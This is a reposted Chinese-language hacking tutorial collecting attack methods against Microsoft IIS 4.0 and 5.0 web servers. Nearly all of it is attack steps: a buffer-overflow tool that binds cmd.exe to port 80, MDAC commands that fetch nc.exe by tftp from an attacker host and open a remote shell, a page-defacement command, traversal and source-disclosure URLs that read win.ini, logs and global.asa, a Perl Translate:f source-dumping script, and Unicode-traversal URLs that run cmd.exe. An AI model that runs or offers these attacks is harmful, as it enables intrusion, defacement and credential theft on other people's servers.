欢迎光临
我们一直在努力

有关IIS HACK的一些方法整理 《转》

建站超值云服务器,限时71元/月

by xundi<安全焦点>
http://www.xfocus.org
xundi1@21cn.com

这里整理了一些关于iis hack的一些漏洞,供大家参考。

1,介绍

由于这些方法针对通过端口80来操作,所以具有一定的威胁性,因为作为web你
这个口总要开的。如果你想一边抽烟一边查漏洞,ok,你下载一些cgi扫描器来
帮助你检查,你可以尝试使用这两个:

    "whisker" by  "rain forest puppy" (www.wiretrip.net/rfp).
         "cis" by "mnemonix" (www.cerberus-infosec.co.uk)

    另外你如果要知道目标机器运行的是啥类型的服务程序,你可以使用
    下面的命令:

    telnet  <victim>  80
        get head / http/1.0
    
    就可以返回一些名字和web服务程序版本,如果有些服务器把web运行在
    8080,81,8000,8001口,你就telnet相应的口上。

    如果你要知道运行了ssl的web服务程序,在web服务器和浏览器进行了
    连接的的话,我们就可以使用工具"ssleay":

    s_client -connect  <victim>:443
        head / http /1.0

======================================================================

2,一些常用方法:
    
    ========iis hack==========
    www.eeye.com的人员发现了一个iis4.0的缓冲溢出可以允许用户上载
    程序,如netcat到目标服务器,并把cmd.exe绑定到80口。这个缓冲溢
    出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的url请求
    没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序
    在系统中下载和执行程序。

    要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面
    的站点www.technotronic.com去下载,另外你还需要一台自己的web服务器,
    当然你可以是虚拟服务器哦。

    你现在你自己的web服务器上运行web服务程序并把ncx.exe放到你自己相应
    的目录下,然后使用iishack.exe来检查目标机器:
    c:\>iishack.exe  <victim>  80 <your web server>/ncx.exe
    然后你就使用netcat来连接你要检测的服务器:
    c:\>nc <victim> 80
    如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。

    =========mdac- 本地命令执行===========

    你可能认为这个漏洞太老了,可网络如此之大,可能还有好多iis web服务
    器存在这个漏洞啦。iis的mdac组件存在一个漏洞可以导致攻击者远程执行
    你系统的命令。主要核心问题是存在于rds datafactory,默认情况下,
    它允许远程命令发送到iis服务器中,这命令会以设备用户的身份运行,
    其一般默认情况下是system用户。关于这个漏洞的描述,很多文章介绍
    的很清楚,这里不做详细解释,你如果要对自己的站点进行检查是否存在
    这个漏洞,你可以通过下面的操作:

    c:\>nc -nw -w 2 <victim> 80
         get  /msadc/msadcs.dll http
    
    如果你得到下面的信息:

    application/x_varg

    就很有可能没有打上补丁并存在此漏洞,你可以使用rain forest puppy
    站上的两个程序进行测试(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl 。

    c:\> mdac.pl -h <victim>
       please type the nt commandline you want to run (cmd /c assumed):\n
            cmd /c

    ok,如果你要替换对方的主页,你就可以使用下面的方法:

    cmd/c   echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm

    或者其他命令,当然最好的方法我觉得还是使用上载我们的netcat,并
    把cmd.exe绑定到端口80上,我们可以设置我们自己的tftp服务程序并把
    nc.exe放上去,然后在执行命令,如:

    cmd/c cd  %systemroot%&&tftp -i <evil_hacker> get nc.exe&&del ftptmp
    && attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe

    然后你就连接到80口,得到一个shell口让你浏览。呵呵!
    

    =========codebrws.asp & showcode.asp ==================

    codebrws.asp和showcode.asp在iis4.0中是附带的看文件的程序,
    但不是默认安装的,这个查看器是如果管理员允许查看样例文件作为
    联系而安装的,但是,这个查看器没有很好的限制所访问的文件,远程
    攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意
    以下几点:
    1,codebrws.asp 和 showcode.asp默认情况下没有安装。
    2,漏洞仅允许查看文件内容。
    3,这个漏洞不能绕过windows nt的acl控制列表的限制。
    4,只有同一分区下的文件可以被查看(所以把iis目录和winnt分区安装
    是个不错的注意,也可能比较好的防止最新的iis5.0的unicode漏洞).
    5,攻击者需要知道请求的文件名。

    例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:
    
    http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/
    iisamples/exair/howitworks/codebrws.asp

    你就可以查看到codebrws.asp的源代码了。

    你也可以使用showcode.asp来查看文件:

    http://www.victim.com/msadc/samples/selector/showcode.asp?
    source=/msadc/../../../../../winnt/win.ini

    当然我想也可以查看一些ftp信息来获得其他的目标器管理员经常使用的
    机器,或许他其他的机器的安全性比web差呢;).如:

    http://xxx.xxx.xxx.xxx/msadc/samples/selector/showcode.asp?
    source=/msadc/samples/../../../../../winnt/system32/logfiles/msftpsvc1/ex000517.log

    =========null.htw===============
    iis如果运行了index server的话就包含了一个通过null.htw有关的漏洞,
    就是服务器上不存在此.htw结尾的文件。这个漏洞会导致显示asp脚本的
    源代码,包伙global.asa里面包含了用户名和密码等敏感信息。工具者
    如果提供特殊的url请求给iis就可以跳出虚拟目录的限制,提供逻辑分
    区和root目录的访问。这个"hit-highlighting"功能在index server中
    没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意
    文件。null.htw功能可以从用户输入中获得3个变量:
    ciwebhitsfile
        cirestriction
        cihilitetype

    你可以使用下面的方法传递变量来获得如default.asp的源代码:

    http://www.victim.com/null.htw?ciwebhitsfile=/default.asp%20&%20
    cirestriction=none%20&%20&cihilitetype=full

    其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。

    ========webhits.dll & .htw================

    这个hit-highligting功能是由index server提供的允许一个web用户在
    文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过
    变量ciwebhitsfile传递给.htw文件,webhits.dll是一个isapi应用程序
    来处理请求,打开文件并返回结果,当用户控制了ciwebhitsfile参数传递
    给.htw时,他们就可以请求任意文件,结果就是导致查看asp源码和其他
    脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

    http://www.victim.com/nosuchfile.htw

    如果你从服务器端获得如下信息:

    format of the query_string is invalid

    这就表示你存在这个漏洞。

    这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消
    这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw
    文件,一般会发现如下的程序:

    /iissamples/issamples/oop/qfullhit.htw
    /iissamples/issamples/oop/qsumrhit.htw
    /isssamples/exair/search/qfullhit.htw
    /isssamples/exair/search/qsumrhit.htw
    /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

    一个攻击者可以使用如下的方法来访问系统中文件的内容:

    http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
    ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

    就会在有此漏洞系统中win.ini文件的内容。

    ===asp alternate data streams(::$data)==================

    $data这个漏洞是在1998年中期公布的,$data是在ntfs文件系统中存储
    在文件里面的main data stream属性,通过建立一个特殊格式的url,就
    可能使用iis在浏览器中访问这个data stream(数据流),这样做也就显示
    了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。
    其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在
    ntfs文件分区(幸好为了"安全"好多服务器设置了ntfs格式),第二是文件
    需要被acl设置为全局可读。而且未授权用户需要知道要查看文件名的名字,
    win nt中的iis1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个for iis
    3.0和4.0的版本补丁,你可以通过这文章来修补这个漏洞:

    "supporting ntfs alternate data streams by asking windows
    nt to make the file name canonical"

    要查看一些.asp文件的内容,你可以请求如下的url:

    http://www.victim.com/default.asp::$data你就得到了源代码。你
    要了解下ntfs文件系统中的数据流问题,你或许可以看看这文章:
    http://focus.silversand.net/newsite/skill/ntfs.txt

    =========asp dot bug====================
    
    这个漏洞是比较早的漏洞了,是lopht小组在1997年发现的缺陷,这个漏洞
    也是泄露asp源代码给攻击者,一般在iis3.0上存在此漏洞,在请求的url
    结尾追加一个或者多个点导致泄露asp源代码。

    http://www.victim.com/sample.asp.

    ======ism.dll 缓冲截断漏洞===============

    这个漏洞是由cerberus information security team.最早发现的,它运行
    在iis4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件
    名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给iis,
    会使iis认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ism.dll
    isapi应用程序,这样iis就把这个.htr请求转交给这个dll文件,然后ism.dll
    程序把传递过来的文件打开和执行,但在ism.dll 截断信息之前,缓冲区发送
    一个截断开的 .htr 并会有一些时间去返回一些你要打开的文件内容.
    除非 web 服务停止并重启过,否则这攻击只能有效执行一次。如果已经
    发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ism.dll
    第一次装入内存时工作.cnns发现追加+号到没有一次攻击这个问题,可以进行
    多次攻击。

    http://www.victim.com/global.asa%20%20(…<=230)global.asa.htr

    ==========.idc & .ida bugs=======================

    这个漏洞实际上类似asp dot 漏洞,其能在iis4.0上显示其web目录信息,
    很奇怪的说有些还在iis5.0上发现过此类漏洞,通过增加?idc?或者?ida?
    后缀到url会导致iis尝试允许通过数据库连接程序.dll来运行.idc,如果
    此.idc不存在,它就返回一些信息给客户端。

    http://www.victim.com/anything.idc 或者 anything.idq

    ============+.htr bug===========================

    这个漏洞相似由nsfocus发现的,对有些asa和asp追加+.htr的url请求
    就会导致文件源代码的泄露:

    http://www.victim.com/global.asa+.htr

    ===========nt site server adsamples 漏洞======

    通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者
    可能获得一些如数据库中的dsn,uid和pass的一些信息,如:

    http://www.victim.com/adsamples/config/site.csc

    ==========存在的一些暴力破解威胁.htr程序===========

    iis4.0中包含一个有趣的特征就是允许远程用户攻击web服务器上的用户
    帐号,就是你的web服务器是通过nat来转换地址的,还可以被攻击。

    每个iis4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个
    .htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制
    在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过web
    来修改用户的帐号和密码。这个目录物理映射在下面的目录下:
     c:\winnt\system32\inetsrv\iisadmpwd
    achg.htr
    aexp.htr
    aexp2.htr
    aexp2b.htr
    aexp3.htr
    aexp4.htr
    aexp4b.htr
    anot.htr
    anot3.htr

    这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,你
    就豪不客气的删除这个目录先。

    =============translate:f bug ====================

    daniel docekal在2000,8月15号发布了这个漏洞,(www.securityfocus.com/bid/1578)
    其问题是存在office 2000和frontpage 2000server extensions中的webdav中,
    当有人请求一个asp/asa后者其他任意脚本的时候在http get加上translate:f
    后缀,并在请求文件后面加/就会显示文件代码,当然在没有打win2k sp1补丁
    为前提。这个是w2k的漏洞,但由于fp2000也安装在iis4.0上,所以在iis4.0
    上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:

    #############################
    use io::socket;             #
    my ($port, $sock,$server);  #
    $size=0;                    #
    #############################
    #
    $server="$argv[0]";
    $s="$server";
    $port="80";
    $cm="$argv[1]";
    &connect;
    sub connect {
    if ($#argv < 1) {
      howto();
      exit;
    }
    $ver="get /$cm%5c http/1.0
    host: $server
    accept: */*
    translate: f
    \n\n";
      my($iaddr,$paddr,$proto);
    $iaddr = inet_aton($server) || die "error: $!";
    $paddr = sockaddr_in($port, $iaddr) || die "error: $!";
    $proto = getprotobyname(tcp) || die "error: $!";
    socket(sock, pf_inet, sock_stream, $proto) || die "error:
    $!";
    connect(sock, $paddr) || die "error: $!";
    send(sock, $ver, 0) || die "cant to send packet: $!";
    open(out, ">$server.txt");
    print "dumping $cm to $server.txt \n";
    while(<sock>) {
    print out <sock>;
    }
    sub howto {
    print "type as follows: trans.pl www.victim.com codetoview.asp \n\n";
    }
    close out;
    $n=0;
    $type=2;
    close(sock);
    exit(1);
    }

    你可以使用下面的方法来获得源代码:

    trasn.pl www.victim.com default.asp

    =============iis存在的unicode解析错误漏洞====================    

    nsfocus安全小组发现微软iis 4.0和iis 5.0在unicode字符解码的实现中存在
    一个安全漏洞,导致用户可以远程通过iis执行任意命令。当iis打开文件时,
    如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊
    的编码,将导致iis错误的打开或者执行某些web根目录以外的文件。此文摘自
    http://www.nsfocus.com/sa-06.htm,你可以看到里面更详细的描述。

    你可以使用下面的方法利用这个漏洞:

    (1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的url可能
    列出当前目录的内容:

    http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

    (2) 利用这个漏洞查看系统文件内容也是可能的:

    http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

    当然这是针对中文iis,你也可以使用"%c0%af"或者"%c1%9c"来测试英文iis版本,
    主要原因是其编码的不同而已。

    当然,还有其中一些漏洞可以供大家来测试,我不能一一举例出来,大家有心的话
    可以出个关于iis的漏洞记录一个,这样你的数据库就比较充足了,写的仓促,希望
    大家见谅其中的错误。

赞(0)
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » 有关IIS HACK的一些方法整理 《转》
分享到: 更多 (0)